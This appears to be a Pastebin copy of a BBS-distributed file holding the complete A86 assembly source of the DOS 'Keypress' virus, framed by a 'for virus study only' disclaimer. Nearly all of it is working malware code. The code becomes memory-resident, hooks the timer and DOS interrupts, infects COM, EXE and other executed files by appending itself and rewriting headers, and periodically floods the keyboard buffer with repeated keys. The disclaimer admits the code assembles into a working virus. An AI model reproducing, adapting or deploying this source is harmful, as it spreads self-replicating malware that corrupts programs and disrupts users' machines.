Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;****************************************************************************;
- ; ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] [=- ;
- ; -=] For All Your H/P/A/V Files [=- ;
- ; -=] SysOp: Peter Venkman [=- ;
- ; -=] [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; ;
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
- ; ;
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
- ; Is. Keep This Code in Responsible Hands! ;
- ; ;
- ;****************************************************************************;
- ;********************************************************
- ; Source code of the Keypress Virus - Made by XSTC
- ; Made in A86 v3.07
- ;
- ; The Keypress Virus installs itself in top of DOS
- ; memory, without using DOS resident functions. It will
- ; hook int 1Ch (timer) and 21h (DOS) and will copy every
- ; 10 minutes during 2 seconds the keys you press five
- ; times (so if you press '1' it will be '111111') - if
- ; you press no key, it will usually give ESCs.
- ;
- ; In DOS 3+ it spreads to every file executed - so it
- ; can, besides COM/EXE, infect DRV/OVL/etc.
- ; It also spreads itself in DOS 1 and 2 with a special
- ; routine - in this case only COM/EXE files will be
- ; infected.
- ;
- ; It adds, after making full paragraphs of the file
- ; length, 1232 bytes to COM-files and 1216 to EXE.
- ;
- ; This code is only made to show the possibilities and
- ; dangers of a virus. It is only intended for research
- ; purposes - spreading a virus is prohibited by law.
- ;
- ; NOTE - The compiled code is not 100% compatible with
- ; the Keypress virus. A86 compiles the 'ADD BX,AX' and
- ; 'MOV DI,SI' different. This has totally no effect
- ; on the program.
- ;********************************************************
- ; After compiling the new virus, enter the new size in paragraphs in VirParSize
- ; and compile again.
- VirParSize equ 4Ch ; Size of the original KeyPress virus
- VirStart: jmp long VirBegin
- db 0
- ComStart: mov bx,cs ; When the virus has infected a .COM file,
- add bx,[102h] ; this is the jump to the virus. Actually,
- push bx ; this code is overwritten with the code
- mov bx,offset VirBegin ; in the end of the virus.
- push bx
- retf
- EB02 dw 02EBh ; 'jmp 104' - first 2 bytes in .COM file
- VirSize dw VirParSize shl 4 ; Size of virus in whole pars
- VirPars dw VirParSize + 1 ; Size of virus in pars+1
- MaxComSize dw 0FF00h-VirParSize ; Max. size .COM file to infect (100h stack)
- Com_or_exe db 00h ; 0 = Com-File, 1 = Exe-File
- R_Ax dw (?)
- R_Bx dw (?)
- R_Cx dw (?)
- R_Dx dw (?)
- R_Di dw (?)
- R_Si dw (?)
- R_Bp dw (?)
- R_Es dw (?)
- R_Ds dw (?)
- R_SS dw (?)
- R_SP dw (?)
- Exe_CS dw (?)
- Exe_IP dw (?)
- VirBegin: call Save_Regs ; Start of virus
- call Fix_cs_ss ; Fix CS and SS of orig. prog (for .EXE files)
- call Get_cs_ip ; Get CS and IP of original prog
- call Check_res ; Check virus already resident
- jb Exit_inst ; Yes, quit
- call Inst_mem ; Install in memory
- jb Exit_inst ; Error, quit
- call Inst_ints ; Hook interrupts
- Exit_Inst: jmp short Rst_regs_prg
- nop
- Jmp_Prg: db 0EAh ; Jump to original program
- PrgOfs dw (?)
- PrgSeg dw (?)
- Check_res: push ds
- xor bx,bx
- mov ds,bx
- mov bx,600h ; Unused word in memory
- cmp word ptr [bx],1 ; Already installed?
- jz Installed ; Yes
- mov word ptr [bx],1 ; No
- stc
- Installed: cmc
- pop ds
- ret
- ;*** For .EXE: Fix orig-prog CS and SS ***
- Fix_cs_ss: test byte ptr [Com_or_exe],1
- jz no_exe
- mov ax,es
- add ax,10h
- add Exe_cs,ax
- add R_ss,ax
- No_Exe: ret
- ;*** Get CS + IP of orig. program, and for .COM: Restore first 16 bytes ***
- Get_cs_ip: mov ax,[Exe_cs]
- mov bx,[Exe_ip]
- test byte ptr [Com_or_exe],1
- jnz No_rest ; .EXE file: no restore of first bytes
- mov ax,es
- mov bx,100h
- mov cx,10h
- mov si,offset First_bytes
- mov di,100h
- cld
- repz ; Restore first 16 bytes (.COM file)
- movsb
- No_rest: mov [Prgseg],ax
- mov [Prgofs],bx
- ret
- ;*** Proc: Save the registers to restore them after the virus has ended ***
- Save_Regs: mov cs:R_ds,ds
- push cs
- pop ds
- mov R_ax,ax
- mov R_bx,bx
- mov R_cx,cx
- mov R_dx,dx
- mov R_di,di
- mov R_si,si
- mov R_bp,bp
- mov R_es,es
- ret
- ;*** Restore regs for original program ***
- Rst_regs_prg: mov ax,R_ax
- mov bx,R_bx
- mov cx,R_cx
- mov dx,R_dx
- mov bp,R_bp
- mov di,R_di
- mov si,R_si
- mov es,R_es
- test byte ptr [Com_or_exe],1
- jz No_StackRest ; No stack restore for .COM files
- cli
- mov ss,[R_ss] ; Restore .EXE stack
- mov sp,[R_sp]
- sti
- No_StackRest: mov ds,R_ds
- jmp short jmp_prg
- ;*** Restore regs for interrupts ***
- Rst_regs_int: mov ax,R_ax
- mov bx,R_bx
- mov cx,R_cx
- mov dx,R_dx
- mov bp,R_bp
- mov di,R_di
- mov si,R_si
- mov es,R_es
- mov ds,R_ds
- ret
- ;*** Proc: Search for last MCB ***
- Last_MCB: push ds
- mov bx,es
- dec bx
- Next_MCB: mov ds,bx
- cmp byte ptr [0],5Ah ; Last MCB?
- jz Is_last ; Yes
- inc bx
- add bx,[3] ; Go to next
- cmp bx,0A000h ; In ROM?
- jb Next_MCB ; No, try next one
- Is_Last: pop ds
- ret
- ;*** Proc: Install virus in end of memory ***
- Inst_Mem: call Last_mcb ; Search last MCB
- cmp bx,0A000h ; In ROM?
- jb Not_ROM ; No, continue
- No_Inst: push cs ; Yes, quit
- pop ds
- stc ; Error, virus not installed
- ret
- Not_ROM: mov ds,bx
- mov ax,[3] ; AX = Size last MCB
- sub ax,cs:[VirPars] ; - (Virussize in pars+1)
- jbe no_inst ; Not enough memory, quit
- cmp ax,800h
- jb no_inst ; Less than 2048 pars free, quit
- mov [3],ax ; Give program less space to install virus
- add bx,ax
- inc bx ; BX = seg where virus comes
- mov es:[2],bx ; Enter in PSP, program not allowed there
- sub bx,10h ; - 10h pars (virus starts at 100h)
- push bx
- push cs
- pop ds
- pop es
- mov si,100h
- mov di,si
- mov cx,[VirSize] ; CX = virussize
- cld
- repz ; Copy virus to virus-segment
- movsb
- clc ; No error, virus installed
- ret
- ;*** Install new interrupts (1C - Timer Tick, 21 - DOS) ***
- Inst_Ints: push es
- pop ds
- mov word ptr [Ticks],0
- mov ax,351Ch ; Get Addr Timer Tick
- int 21h
- mov I1c_ofs,bx
- mov I1c_seg,es
- mov ax,3521h ; Get Addr DOS-Int
- int 21h
- mov I21_ofs,bx
- mov I21_seg,es
- mov ax,251Ch
- mov dx,offset New_I1c
- int 21h ; Install New Timer-Tick Int
- mov dx,offset I21_dos12
- push dx
- mov ah,30h ; Get DOS-Version
- int 21h
- pop dx
- cmp al,3 ; Below 3.0?
- jb DosBel3
- mov dx,offset new_I21 ; No, new int
- DosBel3: mov ax,2521h ; Install new DOS-Int
- int 21h
- push cs
- pop ds
- ret
- ;*** Proc: NEW 1C (TIMER TICK) INTERRUPT ***
- ; Every 10 minutes this routine sends during 2 sec. 180 extra keys to the
- ; keyboard-interrupt.
- Ticks dw (?)
- New_I1c: inc word ptr cs:[Ticks] ; Increment 'Ticks after virus loaded'
- cmp word ptr cs:[Ticks],2A30h ; 10 minutes passed?
- jb org_I1c ; No, go to orig. I1c
- cmp word ptr cs:[Ticks],2A54h ; 2 sec. passed?
- jbe screw_keys ; Not yet, give ESCs
- mov word ptr cs:[Ticks],0 ; Time-counter to 0
- jmp short Org_I1c ; Go to orig. I1c
- Screw_Keys: push cx
- mov cx,5 ; 5 times / tick
- Put_Key: int 9 ; Give extra key
- loop Put_key
- pop cx
- Org_I1c: db 0EAh ; Jump far to orig. I1c
- I1c_Ofs dw (?)
- I1c_Seg dw (?)
- New_I24: mov al,0
- New_I23: iret
- I23_Ofs dw (?)
- I23_Seg dw (?)
- I24_Ofs dw (?)
- I24_Seg dw (?)
- ProgSize dw (?) ; Program size in paragraphs
- New_I21: cmp ax,4B00h ; New DOS Int for DOS 3 +
- jz Is_Start
- jmp far dword ptr cs:[I21_Ofs] ; Jmp orig. I 21
- Is_Start: call Save_Regs
- call InstCritInt ; Install new ^c and crit. err. int
- mov ax,3D02h ; Open file for read and write
- mov ds,R_Ds
- int 21h
- push cs
- pop ds
- jc Close_File
- mov bx,ax
- call Read_header
- jc Close_File
- call Write_virus
- jc Close_File
- call Write_header
- Close_File: mov ah,3Eh ; Close file
- int 21h
- call RestCritInt ; Restore ^c and crit-err ints
- call Rst_regs_int
- jmp far dword ptr cs:[I21_Ofs]
- I21_Dos12: cmp ah,3Dh ; New DOS-Int for DOS 1.x and 2.x
- jz Is_Open
- JmpDos: db 0EAh ; Jump Far
- I21_Ofs dw (?)
- I21_Seg dw (?)
- Is_Open: push ax ; Network-flags?
- and al,0FCh
- pop ax
- jnz JmpDos ; Yes -> DOS
- call Save_Regs
- call InstCritInt ; Install new ^c and crit. err. int
- mov DS,R_Ds
- or al,2 ; Write access
- pushf
- cli
- call far cs:[I21_Ofs] ; Open file
- push cs
- pop ds
- jc Open_Error ; Error opening -> DOS
- pushf
- mov [R_Ax],ax ; Save handle
- mov bx,ax
- call Chk_Inf ; Check infection is possible
- jc No_Infect ; No -> quit
- call Read_header
- jc No_Infect
- call Write_virus
- jc No_Infect
- call Write_header
- No_Infect: call Go_file_beg ; Go to begin of file
- call RestCritInt ; Restore ^c and crit-err ints
- call Rst_regs_int
- popf
- retf 2
- Open_Error: call RestCritInt ; Restore ^c and crit-err ints
- call Rst_regs_int
- jmp short JmpDos
- ;*** Proc: Buffer for header of program to infect ***
- Head_buf dw 0Ch dup (?)
- ;*** Proc: Install new ^C and crit. err. interrupt ***
- InstCritInt: push ax
- push bx
- push dx
- push ds
- push es
- push cs
- pop ds
- mov ax,3523h ; Get Ctrl-Break Int Addr
- int 21h
- mov I23_Ofs,bx
- mov I23_Seg,es
- mov ax,3524h ; Get Crit. Err Int Addr
- int 21h
- mov I24_Ofs,bx
- mov I24_Seg,es
- mov ax,2523h
- mov dx,offset New_I23 ; Install new Ctrl-Break Int
- int 21h
- mov ax,2524h ; Install new Crit. Err Int
- mov dx,offset New_I24
- int 21h
- pop es
- pop ds
- pop dx
- pop bx
- pop ax
- ret
- ;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***
- RestCritInt: mov ax,2524h ; Rest. orig. crit. err int
- lds dx,dword ptr cs:[I24_Ofs]
- int 21h
- mov ax,2523h ; Rest. orig. ctrl-break int
- lds dx,dword ptr cs:[I23_Ofs]
- int 21h
- push cs
- pop ds
- ret
- ;*** Read header of file ***
- Read_header: mov ah,3Fh
- mov dx,offset Head_buf
- mov cx,18h
- int 21h
- jc HeadRead_Err ; Error reading, don't infect
- call Check_infect ; Check file already infected; if not, save data
- jc HeadRead_Err ; Error, quit
- call Calc_data ; Calculate data for infected file
- jc HeadRead_Err ; Error, quit
- HeadRead_Err: ret
- ;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***
- Write_virus: mov ah,40h ; Write virus behind program
- mov cx,[VirSize]
- mov dx,100h
- int 21h
- jc Err_Writ ; Write error, quit
- cmp ax,cx
- jnz Err_Writ ; ' ' ' ' ' '
- test byte ptr [Com_or_exe],1
- jz First_Write
- ret
- First_Write: mov ah,40h ; Write orig. 1st 16 bytes behind virus
- mov cx,10h
- mov dx,offset Head_buf
- int 21h
- jc Err_Writ ; Write error, quit
- cmp ax,cx
- jnz Err_Writ ; ' ' ' ' ' '
- clc ; End procedure, no error
- ret
- Err_Writ: stc ; End procedure, error
- ret
- ;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***
- Write_header: call Go_file_beg ; Go to begin of file
- test byte ptr [Com_or_exe],1 ; .EXE-file?
- jnz Exe_header
- mov ah,40h ; .COM file - Write 'EB 02'
- mov cx,2
- mov dx,offset EB02
- int 21h
- mov ah,40h ; Write program-size in pars
- mov cx,2
- mov dx,offset ProgSize
- int 21h
- mov ah,40h ; Write rest of begin of virus
- mov cx,0Ch
- mov dx,104h
- int 21h
- ret
- Exe_header: mov ah,40h ; Write in File
- mov cx,18h
- mov dx,offset Head_buf
- int 21h
- ret
- ;*** Proc: Change file pointer ***
- Cng_file_ptr: mov ax,4200h
- int 21h
- ret
- ;*** Proc: Go to begin of file ***
- Go_file_beg: xor cx,cx ; Filepointer = 0
- xor dx,dx
- call Cng_file_ptr ; Change File Pointer
- ret
- ;*** Proc: Check file is already infected ***
- Check_infect: mov si,104h
- mov di,offset Head_buf+4
- push cs
- pop es
- mov byte ptr [Com_or_exe],0 ; Flag for .COM
- cmp word ptr [di-04],5A4Dh ; Is .EXE?
- jz Is_Exe
- mov cx,0Ch ; No, .COM file
- cld
- repz ; Already infected?
- cmpsb
- jnz Do_Infect ; Not yet
- Dont_Infect: stc
- ret
- Do_Infect: clc
- ret
- Is_Exe: mov byte ptr [Com_or_exe],1 ; Flag for .EXE
- mov cx,[offset Head_buf+14h] ; cx = Prog-IP
- cmp cx,offset VirBegin ; Same as Vir-IP?
- jz Dont_Infect ; Yes, quit
- cmp word ptr [offset Head_buf+0Ch],0 ; Max extra pars=0?
- jz Dont_Infect ; Yes, quit
- mov [Exe_ip],cx ; Save prog-IP
- mov cx,[Head_buf+16h]
- mov [Exe_cs],cx ; Save prog-cs
- mov cx,[Head_buf+0Eh]
- mov [R_ss],cx ; Save prog-SS
- mov cx,[Head_buf+10h]
- mov [R_sp],cx ; Save prog-SP
- jmp short Do_Infect
- ;*** Proc: Calculate data for infection ***
- Calc_data: mov ax,4202h ; Go to EOF
- xor cx,cx
- xor dx,dx
- int 21h
- test al,0Fh ; Size mod 16 = 0 (File is exact x paragraps)?
- jz No_par_add ; Yes, no extra par added
- add ax,10h ; Add paragraph
- adc dx,0 ; Overflow -> Inc dx
- and ax,0FFF0h ; Make paragraphs
- No_par_add: test byte ptr [Com_or_exe],1
- jnz Calc_exe
- or dx,dx
- jnz not_infect
- cmp ax,[maxcomsize] ; File too big?
- ja not_infect ; Yes, quit
- cmp ax,[VirSize] ; File too small?
- jbe Not_Infect ; Yes, quit
- mov [ProgSize],ax ; Save program-size
- mov cl,4
- shr word ptr [ProgSize],cl ; In paragraphs
- mov dx,ax
- xor cx,cx
- call Cng_file_ptr ; Go to EOF
- clc
- ret
- Not_Infect: stc
- ret
- Calc_exe: push ax
- push dx
- add ax,100h ; 100 bytes stack
- adc dx,0 ; Overflow - inc dx
- mov cx,dx
- mov dx,ax
- call Cng_file_ptr ; Go to EOF
- push bx
- add ax,[VirSize] ; New exe-length
- adc dx,0
- mov bx,200h ; For header: / 512
- div bx
- or dx,dx
- jz No_Correct
- inc ax ; Files below 2.000.000h bytes - length correction
- No_Correct: mov [Head_buf+2],dx ; Save new file-length
- mov [Head_buf+4],ax ; ' ' ' ' ' ' ' '
- pop bx
- pop dx
- pop ax
- call Calc_cs_ss
- mov word ptr [Head_buf+10h],100h ; Prog-SP=100h
- mov word ptr [Head_buf+14h],offset VirBegin ; Set prog-IP
- clc
- ret
- ;*** Proc: Calculate new CS and SS for .EXE file ***
- Calc_cs_ss: push cx
- mov cx,4
- Cs_ss_lp: shr dx,1
- rcr ax,1
- loop Cs_ss_lp
- sub ax,[Head_buf+8] ; Size of header
- sbb dx,0
- mov [Head_buf+0Eh],ax ; Save prog-SS
- mov [Head_buf+16h],ax ; Save prog-cs
- pop cx
- ret
- ;*** Check infection is possible ***
- Chk_Inf: call Chk_exec ; Check file is executable
- jb Not_exec
- call Get_attr ; Check file has no SYS attr
- Not_Exec: ret
- ;*** Search-paths ***
- Com_path db '.COM',0
- Exe_path db '.EXE',0
- ;*** Check file is executable (.COM / .EXE)
- Chk_Exec: push es
- mov es,R_ds
- mov di,dx
- xor al,al
- mov cx,80h
- cld
- repnz ; Search '.'
- scasb
- jnz not_inf ; No '.' found
- dec di
- push di
- mov si,offset Com_path+4
- mov cx,4
- std
- repz ; Check '.COM'
- cmpsb
- pop di
- jnz no_com ; No .COM
- clc
- jmp short Infect
- nop
- Not_Inf: stc
- Infect: cld
- pop es
- ret
- No_Com: mov si,offset Exe_path+4
- mov cx,4
- repz ; Check '.EXE'
- cmpsb
- jnz not_inf ; No .EXE either - not executable
- clc
- jmp short infect
- Get_Attr: push ds
- mov ax,4300h ; Get FileAttr
- xor cx,cx
- mov ds,R_ds
- int 21h
- pop ds
- jb Bad_Attr ; Error - don't infect
- test cx,4 ; System-Attr?
- jnz Bad_Attr ; Yes, don't infect
- clc
- ret
- Bad_Attr: stc
- ret
- First_bytes: int 20h ; First bytes of orig. program - here just 'Go to DOS'
- dw (?)
- mov bx,cs ; Overwrites the begin
- add bx,[102h]
- push bx
- mov bx,offset VirBegin
- push bx
- retf
- ;****************************************************************************;
- ; ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] [=- ;
- ; -=] For All Your H/P/A/V Files [=- ;
- ; -=] SysOp: Peter Venkman [=- ;
- ; -=] [=- ;
- ; -=] +31.(o)79.426o79 [=- ;
- ; -=] P E R F E C T C R I M E [=- ;
- ; -=][][][][][][][][][][][][][][][=- ;
- ; ;
- ; *** NOT FOR GENERAL DISTRIBUTION *** ;
- ; ;
- ; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
- ; Around Among the General Public. It Will be Very Useful for Learning how ;
- ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
- ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
- ; Experience can Turn it Into a far More Malevolent Program Than it Already ;
- ; Is. Keep This Code in Responsible Hands! ;
- ; ;
- ;****************************************************************************;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement